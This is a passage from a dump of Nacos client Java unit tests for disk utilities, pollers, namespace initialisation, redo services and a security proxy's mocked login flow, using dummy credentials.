\"UTF-8\";\n        ConcurrentDiskUtil.writeFileContent(fileName, content, charset);\n        String actualContent = ConcurrentDiskUtil.getFileContent(fileName, charset);\n        assertEquals(content, actualContent);\n    }\n    \n    @Test\n    void testReadAndWrite2() throws IOException {\n        File tempFile = File.createTempFile(\"aaa\", \"bbb\");\n        String content = \"hello\";\n        String charset = \"UTF-8\";\n        ConcurrentDiskUtil.writeFileContent(tempFile, content, charset);\n        String actualContent = ConcurrentDiskUtil.getFileContent(tempFile, charset);\n        assertEquals(content, actualContent);\n    }\n    \n    @Test\n    void testByteBufferToString() throws IOException {\n        String msg = \"test buff to string\";\n        ByteBuffer buff = ByteBuffer.wrap(msg.getBytes(StandardCharsets.UTF_8));\n        String actual = ConcurrentDiskUtil.byteBufferToString(buff, \"UTF-8\");\n        assertEquals(msg, actual);\n    }\n    \n    @Test\n    void testWriteFileContent() throws IOException {\n        File file = mock(File.class);\n        assertFalse(ConcurrentDiskUtil.writeFileContent(file, \"hello\", \"UTF-8\"));\n    }\n    \n    @Test\n    void testTryLockFailure() throws Throwable {\n        assertThrows(IOException.class, () -> {\n            Method method = ConcurrentDiskUtil.class.getDeclaredMethod(\"tryLock\", File.class, FileChannel.class,\n                    boolean.class);\n            method.setAccessible(true);\n            File file = new File(\"non-exist\");\n            FileChannel channel = mock(FileChannel.class);\n            when(channel.tryLock(anyLong(), anyLong(), anyBoolean())).thenThrow(new RuntimeException());\n            try {\n                method.invoke(null, file, channel, true);\n            } catch (InvocationTargetException e) {\n                throw e.getCause();\n            }\n        });\n    }\n    \n    @Test\n    void testTryLockFailureForIntercept() throws Throwable {\n        assertThrows(IOException.class, () -> {\n            Method method = ConcurrentDiskUtil.class.getDeclaredMethod(\"tryLock\", File.class, FileChannel.class,\n                    boolean.class);\n            method.setAccessible(true);\n            File file = new File(\"non-exist\");\n            FileChannel channel = mock(FileChannel.class);\n            Thread.currentThread().interrupt();\n            when(channel.tryLock(anyLong(), anyLong(), anyBoolean())).thenThrow(new RuntimeException());\n            try {\n                method.invoke(null, file, channel, true);\n            } catch (InvocationTargetException e) {\n                throw e.getCause();\n            }\n        });\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/utils/GenericPollerTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass GenericPollerTest {\n    \n    @Test\n    void testNext() {\n        String item1 = \"item1\";\n        String item2 = \"item2\";\n        GenericPoller<String> poller = new GenericPoller<>(Arrays.asList(item1, item2));\n        assertEquals(item1, poller.next());\n        assertEquals(item2, poller.next());\n        assertEquals(item1, poller.next());\n    }\n    \n    @Test\n    void testRefresh() {\n        String item1 = \"item1\";\n        String item2 = \"item2\";\n        GenericPoller<String> poller = new GenericPoller<>(Arrays.asList(item1, item2));\n        Poller<String> poller1 = poller.refresh(Arrays.asList(item2));\n        assertEquals(item2, poller1.next());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/utils/InitUtilsTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.SystemPropertyKeyConst;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass InitUtilsTest {\n    \n    @AfterEach\n    void tearDown() {\n        System.clearProperty(SystemPropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING);\n        System.clearProperty(SystemPropertyKeyConst.ANS_NAMESPACE);\n        System.clearProperty(PropertyKeyConst.NAMESPACE);\n        System.clearProperty(SystemPropertyKeyConst.IS_USE_ENDPOINT_PARSING_RULE);\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_URL);\n        System.clearProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_ENDPOINT_PORT);\n        UtilAndComs.webContext = \"/nacos\";\n        UtilAndComs.nacosUrlBase = \"/nacos/v1/ns\";\n        UtilAndComs.nacosUrlInstance = \"/nacos/v1/ns/instance\";\n    }\n    \n    /**\n     * current namespace priority 1. system.Properties 2. user.Properties 3. default value\n     */\n    @Test\n    void testInitNamespaceForDefault() {\n        //DEFAULT\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        String actual = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(UtilAndComs.DEFAULT_NAMESPACE_ID, actual);\n    }\n    \n    @Test\n    void testInitNamespaceFromAnsWithCloudParsing() {\n        String expect = \"ans\";\n        System.setProperty(SystemPropertyKeyConst.ANS_NAMESPACE, expect);\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING, \"true\");\n        String actual = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testInitNamespaceFromAliwareWithCloudParsing() {\n        String expect = \"aliware\";\n        System.setProperty(SystemPropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING, \"true\");\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.SystemEnv.ALIBABA_ALIWARE_NAMESPACE, expect);\n        String actual = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(expect, actual);\n    }\n    \n    @Test\n    void testInitNamespaceFromJvmNamespaceWithCloudParsing() {\n        String expect = \"jvm_namespace\";\n        System.setProperty(PropertyKeyConst.NAMESPACE, expect);\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        String ns = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(expect, ns);\n    }\n    \n    @Test\n    void testInitNamespaceFromPropNamespaceWithCloudParsing() {\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        String expect = \"ns1\";\n        properties.setProperty(PropertyKeyConst.NAMESPACE, expect);\n        String ns = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(expect, ns);\n    }\n    \n    @Test\n    void testInitNamespaceFromDefaultNamespaceWithCloudParsing() {\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING, \"true\");\n        String actual = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(UtilAndComs.DEFAULT_NAMESPACE_ID, actual);\n    }\n    \n    @Test\n    void testInitNamespaceFromJvmNamespaceWithoutCloudParsing() {\n        System.setProperty(SystemPropertyKeyConst.ANS_NAMESPACE, \"ans\");\n        String expect = \"jvm_namespace\";\n        System.setProperty(PropertyKeyConst.NAMESPACE, expect);\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING, \"false\");\n        String ns = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(expect, ns);\n    }\n    \n    @Test\n    void testInitNamespaceFromPropNamespaceWithoutCloudParsing() {\n        System.setProperty(SystemPropertyKeyConst.ANS_NAMESPACE, \"ans\");\n        System.setProperty(SystemPropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING, \"false\");\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        String expect = \"ns1\";\n        properties.setProperty(PropertyKeyConst.NAMESPACE, expect);\n        String ns = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(expect, ns);\n    }\n    \n    @Test\n    void testInitNamespaceFromDefaultNamespaceWithoutCloudParsing() {\n        System.setProperty(SystemPropertyKeyConst.ANS_NAMESPACE, \"ans\");\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.IS_USE_CLOUD_NAMESPACE_PARSING, \"false\");\n        String actual = InitUtils.initNamespaceForNaming(properties);\n        assertEquals(UtilAndComs.DEFAULT_NAMESPACE_ID, actual);\n    }\n    \n    @Test\n    void testInitWebRootContext() {\n        String ctx = \"/aaa\";\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        properties.setProperty(PropertyKeyConst.CONTEXT_PATH, ctx);\n        InitUtils.initWebRootContext(properties);\n        assertEquals(ctx, UtilAndComs.webContext);\n        assertEquals(ctx + \"/v1/ns\", UtilAndComs.nacosUrlBase);\n        assertEquals(ctx + \"/v1/ns/instance\", UtilAndComs.nacosUrlInstance);\n    }\n    \n    @Test\n    void testInitWebRootContextWithoutValue() {\n        final NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive();\n        InitUtils.initWebRootContext(properties);\n        assertEquals(\"/nacos\", UtilAndComs.webContext);\n        assertEquals(\"/nacos/v1/ns\", UtilAndComs.nacosUrlBase);\n        assertEquals(\"/nacos/v1/ns/instance\", UtilAndComs.nacosUrlInstance);\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/naming/utils/PairTest.java",
    "content": "/*\n *   Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n *   Licensed under the Apache License, Version 2.0 (the \"License\");\n *   you may not use this file except in compliance with the License.\n *   You may obtain a copy of the License at\n *\n *        http://www.apache.org/licenses/LICENSE-2.0\n *\n *   Unless required by applicable law or agreed to in writing, software\n *   distributed under the License is distributed on an \"AS IS\" BASIS,\n *   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *   See the License for the specific language governing permissions and\n *   limitations under the License.\n */\n\npackage com.alibaba.nacos.client.naming.utils;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass PairTest {\n    \n    @Test\n    void testItem() {\n        String item = \"aa\";\n        double weight = 1.0;\n        Pair<String> pair = new Pair<>(item, weight);\n        assertEquals(weight, pair.weight(), 0.01);\n        assertEquals(item, pair.item());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/redo/data/RedoDataTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.redo.data;\n\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\n\nclass RedoDataTest {\n    \n    @Test\n    void testGetRedoType() {\n        RedoData<String> redoData = new RedoData<String>() {\n        };\n        // registered=true, unregistering=false, expectedRegistered=true, means data has been registered and match expected.\n        redoData.setRegistered(true);\n        redoData.setExpectedRegistered(true);\n        redoData.setUnregistering(false);\n        assertEquals(RedoData.RedoType.NONE, redoData.getRedoType());\n        \n        // registered=true, unregistering=false, expectedRegistered=true, means data has been registered but not match expected.\n        redoData.setRegistered(true);\n        redoData.setExpectedRegistered(false);\n        redoData.setUnregistering(false);\n        assertEquals(RedoData.RedoType.UNREGISTER, redoData.getRedoType());\n        \n        // registered=true, unregistering=true, expectedRegistered=false, means data has been registered and doing unregister.\n        redoData.setRegistered(true);\n        redoData.setExpectedRegistered(false);\n        redoData.setUnregistering(true);\n        assertEquals(RedoData.RedoType.UNREGISTER, redoData.getRedoType());\n        \n        // registered=false, unregistering=false, expectedRegistered=true, means data has been not registered and doing register.\n        redoData.setRegistered(false);\n        redoData.setExpectedRegistered(true);\n        redoData.setUnregistering(false);\n        assertEquals(RedoData.RedoType.REGISTER, redoData.getRedoType());\n        \n        // registered=false, unregistering=true, expectedRegistered=false, means data has been unregistered and match expected.\n        redoData.setRegistered(false);\n        redoData.setExpectedRegistered(false);\n        redoData.setUnregistering(true);\n        assertEquals(RedoData.RedoType.REMOVE, redoData.getRedoType());\n        \n        // registered=false, unregistering=true, expectedRegistered=true, means data has been unregistered but not match expected.\n        redoData.setRegistered(false);\n        redoData.setExpectedRegistered(true);\n        redoData.setUnregistering(true);\n        assertEquals(RedoData.RedoType.REGISTER, redoData.getRedoType());\n    }\n    \n    @Test\n    void testEqualsAndHashCode() {\n        MockRedoData redoData = new MockRedoData();\n        redoData.set(\"String\");\n        assertEquals(redoData, redoData);\n        assertNotEquals(redoData, null);\n        assertNotEquals(redoData, new RedoData<String>() {\n        });\n        MockRedoData redoData2 = new MockRedoData();\n        redoData2.set(\"aaa\");\n        assertNotEquals(redoData, redoData2);\n        redoData2.set(\"String\");\n        assertEquals(redoData, redoData2);\n        assertEquals(redoData.hashCode(), redoData2.hashCode());\n        redoData2.setRegistered(true);\n        assertNotEquals(redoData, redoData2);\n        redoData2.setRegistered(redoData.isRegistered());\n        redoData2.setUnregistering(!redoData.isUnregistering());\n        assertNotEquals(redoData, redoData2);\n        assertEquals(\"String\", redoData.get());\n    }\n    \n    private static class MockRedoData extends RedoData<String> {\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/redo/service/AbstractRedoServiceTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.redo.service;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.client.redo.data.RedoData;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Properties;\nimport java.util.Set;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractRedoServiceTest {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AbstractRedoServiceTest.class);\n    \n    @Mock\n    private AbstractRedoTask redoTask;\n    \n    MockRedoService redoService;\n    \n    @BeforeEach\n    void setUp() {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.REDO_DELAY_TIME, \"300\");\n        NacosClientProperties clientProperties = NacosClientProperties.PROTOTYPE.derive(properties);\n        redoService = new MockRedoService(LOGGER, clientProperties);\n        redoService.startRedoTask();\n    }\n    \n    @AfterEach\n    void tearDown() {\n        redoService.shutdown();\n    }\n    \n    @Test\n    void testRemoveForNonExistedData() {\n        assertDoesNotThrow(() -> redoService.removeRedoData(\"test\", String.class));\n    }\n    \n    @Test\n    void testMarkRegisteredForNonExistedData() {\n        assertDoesNotThrow(() -> redoService.dataRegistered(\"test\", String.class));\n    }\n    \n    @Test\n    void testMarkUnregisterForNonExistedData() {\n        assertDoesNotThrow(() -> redoService.dataDeregister(\"test\", String.class));\n    }\n    \n    @Test\n    void testMarkUnregisteredForNonExistedData() {\n        assertDoesNotThrow(() -> redoService.dataDeregistered(\"test\", String.class));\n    }\n    \n    @Test\n    void testIsDataRegisteredForNonExistedData() {\n        assertFalse(redoService.isDataRegistered(\"test\", String.class));\n    }\n    \n    @Test\n    void testGetNonExistedData() {\n        assertNull(redoService.getRedoData(\"test\", String.class));\n    }\n    \n    @Test\n    void testFindNonExistedData() {\n        assertTrue(redoService.findRedoData(String.class).isEmpty());\n    }\n    \n    @Test\n    void testCacheRedoDataAndMarkRegistered() {\n        MockRedoData redoData = new MockRedoData();\n        redoData.set(\"test\");\n        redoService.cachedRedoData(\"test\", redoData, String.class);\n        RedoData<String> redoData1 = redoService.getRedoData(\"test\", String.class);\n        assertEquals(redoData, redoData1);\n        assertFalse(redoData1.isRegistered());\n        assertTrue(redoData1.isNeedRedo());\n        assertFalse(redoData1.isUnregistering());\n        assertFalse(redoService.isDataRegistered(\"test\", String.class));\n        redoService.dataRegistered(\"test\", String.class);\n        assertTrue(redoData1.isRegistered());\n        assertFalse(redoData1.isNeedRedo());\n        assertFalse(redoData1.isUnregistering());\n        assertTrue(redoService.isDataRegistered(\"test\", String.class));\n        redoService.dataDeregister(\"test\", String.class);\n        assertTrue(redoData1.isRegistered());\n        assertTrue(redoData1.isUnregistering());\n        assertTrue(redoService.isDataRegistered(\"test\", String.class));\n        redoService.dataDeregistered(\"test\", String.class);\n        assertFalse(redoData1.isRegistered());\n        assertTrue(redoData1.isUnregistering());\n        assertFalse(redoService.isDataRegistered(\"test\", String.class));\n        redoService.removeRedoData(\"test\", String.class);\n        assertNull(redoService.getRedoData(\"test\", String.class));\n    }\n    \n    @Test\n    void testRemoveExpectedRegisteredData() {\n        MockRedoData redoData = new MockRedoData();\n        redoData.set(\"test\");\n        redoService.cachedRedoData(\"test\", redoData, String.class);\n        redoData.setExpectedRegistered(true);\n        redoService.removeRedoData(\"test\", String.class);\n        assertNotNull(redoService.getRedoData(\"test\", String.class));\n    }\n    \n    @Test\n    void testOnConnectedAndOnDisconnected() {\n        assertFalse(redoService.isConnected());\n        redoService.onConnected(null);\n        assertTrue(redoService.isConnected());\n        MockRedoData redoData = new MockRedoData();\n        redoData.set(\"test\");\n        redoData.setRegistered(true);\n        redoService.cachedRedoData(\"test\", redoData, String.class);\n        redoService.onDisConnect(null);\n        assertFalse(redoService.isConnected());\n        assertFalse(redoData.isRegistered());\n    }\n    \n    @Test\n    void testFindAllNeedRedoData() {\n        MockRedoData noNeedRedoData = new MockRedoData();\n        noNeedRedoData.setRegistered(true);\n        noNeedRedoData.setExpectedRegistered(true);\n        MockRedoData needRedoData = new MockRedoData();\n        needRedoData.setRegistered(false);\n        needRedoData.setExpectedRegistered(true);\n        redoService.cachedRedoData(\"noNeedRedoData\", noNeedRedoData, String.class);\n        redoService.cachedRedoData(\"needRedoData\", needRedoData, String.class);\n        Set<RedoData<String>> redoDataSet = redoService.findRedoData(String.class);\n        assertEquals(1, redoDataSet.size());\n        assertEquals(needRedoData, redoDataSet.iterator().next());\n    }\n    \n    private class MockRedoService extends AbstractRedoService {\n        \n        protected MockRedoService(Logger logger, NacosClientProperties properties) {\n            super(logger, properties, \"test\");\n        }\n        \n        @Override\n        protected AbstractRedoTask buildRedoTask() {\n            return redoTask;\n        }\n    }\n    \n    private static class MockRedoData extends RedoData<String> {\n    \n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/redo/service/AbstractRedoTaskTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.redo.service;\n\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.concurrent.atomic.AtomicBoolean;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AbstractRedoTaskTest {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(AbstractRedoTaskTest.class);\n    \n    @Mock\n    private AbstractRedoService redoService;\n    \n    private AtomicBoolean invokedMark;\n    \n    private AtomicBoolean isThrowException;\n    \n    AbstractRedoTask<AbstractRedoService> redoTask;\n    \n    @BeforeEach\n    void setUp() {\n        invokedMark = new AtomicBoolean(false);\n        isThrowException = new AtomicBoolean(false);\n        redoTask = new AbstractRedoTask<AbstractRedoService>(LOGGER, redoService) {\n            \n            @Override\n            protected void redoData() {\n                invokedMark.set(true);\n                if (isThrowException.get()) {\n                    throw new RuntimeException(\"test\");\n                }\n            }\n        };\n    }\n    \n    @Test\n    void testGetRedoService() {\n        assertEquals(redoService, redoTask.getRedoService());\n    }\n    \n    @Test\n    void runWithDisconnection() {\n        redoTask.run();\n        assertFalse(invokedMark.get());\n    }\n    \n    @Test\n    void runWithConnection() {\n        when(redoService.isConnected()).thenReturn(true);\n        redoTask.run();\n        assertTrue(invokedMark.get());\n    }\n    \n    @Test\n    void runWithConnectionAndException() {\n        isThrowException.set(true);\n        when(redoService.isConnected()).thenReturn(true);\n        redoTask.run();\n        assertTrue(invokedMark.get());\n    }\n}"
  },
  {
    "path": "client/src/test/java/com/alibaba/nacos/client/security/SecurityProxyTest.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.client.security;\n\nimport com.alibaba.nacos.api.PropertyKeyConst;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.client.address.AbstractServerListManager;\nimport com.alibaba.nacos.client.auth.impl.NacosAuthLoginConstant;\nimport com.alibaba.nacos.client.env.NacosClientProperties;\nimport com.alibaba.nacos.common.http.HttpRestResult;\nimport com.alibaba.nacos.common.http.client.NacosRestTemplate;\nimport com.alibaba.nacos.common.http.param.Header;\nimport com.alibaba.nacos.plugin.auth.api.LoginIdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.RequestResource;\nimport com.alibaba.nacos.plugin.auth.spi.client.AbstractClientAuthService;\nimport com.alibaba.nacos.plugin.auth.spi.client.ClientAuthPluginManager;\nimport com.alibaba.nacos.plugin.auth.spi.client.ClientAuthService;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.lang.reflect.Field;\nimport java.util.ArrayList;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Properties;\n\nimport static org.junit.jupiter.api.Assertions.assertDoesNotThrow;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertFalse;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo  remove strictness lenient\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass SecurityProxyTest {\n    \n    private SecurityProxy securityProxy;\n    \n    @Mock\n    private NacosRestTemplate nacosRestTemplate;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        //given\n        HttpRestResult<Object> result = new HttpRestResult<>();\n        result.setData(\"{\\\"accessToken\\\":\\\"ttttttttttttttttt\\\",\\\"tokenTtl\\\":1000}\");\n        result.setCode(200);\n        when(nacosRestTemplate.postForm(any(), (Header) any(), any(), any(), any())).thenReturn(result);\n        \n        List<String> serverList = new ArrayList<>();\n        serverList.add(\"localhost\");\n        NacosClientProperties properties = NacosClientProperties.PROTOTYPE.derive(new Properties());\n        AbstractServerListManager serverListManager = new AbstractServerListManager(properties) {\n            @Override\n            protected String getModuleName() {\n                return \"Test\";\n            }\n            \n            @Override\n            protected NacosRestTemplate getNacosRestTemplate() {\n                return nacosRestTemplate;\n            }\n            \n            @Override\n            public String genNextServer() {\n                return serverList.get(0);\n            }\n            \n            @Override\n            public String getCurrentServer() {\n                return serverList.get(0);\n            }\n            \n            @Override\n            public List<String> getServerList() {\n                return serverList;\n            }\n        };\n        securityProxy = new SecurityProxy(serverListManager, nacosRestTemplate);\n    }\n    \n    @Test\n    void testLoginClientAuthService() throws Exception {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        securityProxy.login(properties);\n        verify(nacosRestTemplate).postForm(any(), (Header) any(), any(), any(), any());\n    }\n    \n    @Test\n    void testGetIdentityContext() {\n        Properties properties = new Properties();\n        properties.setProperty(PropertyKeyConst.USERNAME, \"aaa\");\n        properties.setProperty(PropertyKeyConst.PASSWORD, \"123456\");\n        securityProxy.login(properties);\n        //when\n        Map<String, String> keyMap = securityProxy.getIdentityContext(null);\n        //then\n        assertEquals(\"ttttttttttttttttt\", keyMap.get(NacosAuthLoginConstant.ACCESSTOKEN));\n    }\n    \n    @Test\n    void testLoginWithoutAnyPlugin() throws NoSuchFieldException, IllegalAccessException {\n        Field clientAuthPluginManagerField = SecurityProxy.class.getDeclaredField(\"clientAuthPluginManager\");\n        clientAuthPluginManagerField.setAccessible(true);\n        ClientAuthPluginManager clientAuthPluginManager = mock(ClientAuthPluginManager.class);\n        clientAuthPluginManagerField.set(securityProxy, clientAuthPluginManager);\n        when(clientAuthPluginManager.getAuthServiceSpiImplSet()).thenReturn(Collections.emptySet());\n        securityProxy.login(new Properties());\n        Map<String, String> header = securityProxy.getIdentityContext(new RequestResource());\n        assertTrue(header.isEmpty());\n    }\n    \n    @Test\n    void testReLogin() throws NoSuchFieldException, IllegalAccessException {\n        Field clientAuthPluginManagerField = SecurityProxy.class.getDeclaredField(\"clientAuthPluginManager\");\n        clientAuthPluginManagerField.setAccessible(true);\n        ClientAuthPluginManager clientAuthPluginManager = mock(ClientAuthPluginManager.class);\n        clientAuthPluginManagerField.set(securityProxy, clientAuthPluginManager);\n        when(clientAuthPluginManager.getAuthServiceSpiImplSet()).thenReturn(\n                Collections.singleton(new AbstractClientAuthService() {\n                    \n                    private LoginIdentityContext loginIdentityContext;\n                    \n                    @Override\n                    public Boolean login(Properties properties) {\n                        return null;\n                    }\n                    \n                    @Override\n                    public LoginIdentityContext getLoginIdentityContext(RequestResource resource) {\n                        if (loginIdentityContext == null) {\n                            loginIdentityContext = new LoginIdentityContext();\n                        }\n                        return loginIdentityContext;\n                    }\n                    \n                    @Override\n                    public void shutdown() throws NacosException {\n                    \n                    }\n                }));\n        securityProxy.reLogin();\n        Map<String, String> identityContext = securityProxy.getIdentityContext(new RequestResource());\n        assertEquals(identityContext.get(NacosAuthLoginConstant.RELOGINFLAG), \"true\");\n    }\n    \n    @Test\n    void testReLoginWithEmptyPlugin() throws NoSuchFieldException, IllegalAccessException {\n        Field clientAuthPluginManagerField = SecurityProxy.class.getDeclaredField(\"clientAuthPluginManager\");\n        clientAuthPluginManagerField.setAccessible(true);\n        ClientAuthPluginManager clientAuthPluginManager = mock(ClientAuthPluginManager.class);\n        clientAuthPluginManagerField.set(securityProxy, clientAuthPluginManager);\n        when(clientAuthPluginManager.getAuthServiceSpiImplSet()).thenReturn(Collections.emptySet());\n        securityProxy.reLogin();\n        Map<String, String> identityContext = securityProxy.getIdentityContext(new RequestResource());\n        assertFalse(identityContext.containsKey(NacosAuthLoginConstant.RELOGINFLAG));\n    }\n    \n    @Test\n    void testReLoginWithException() throws NoSuchFieldException, 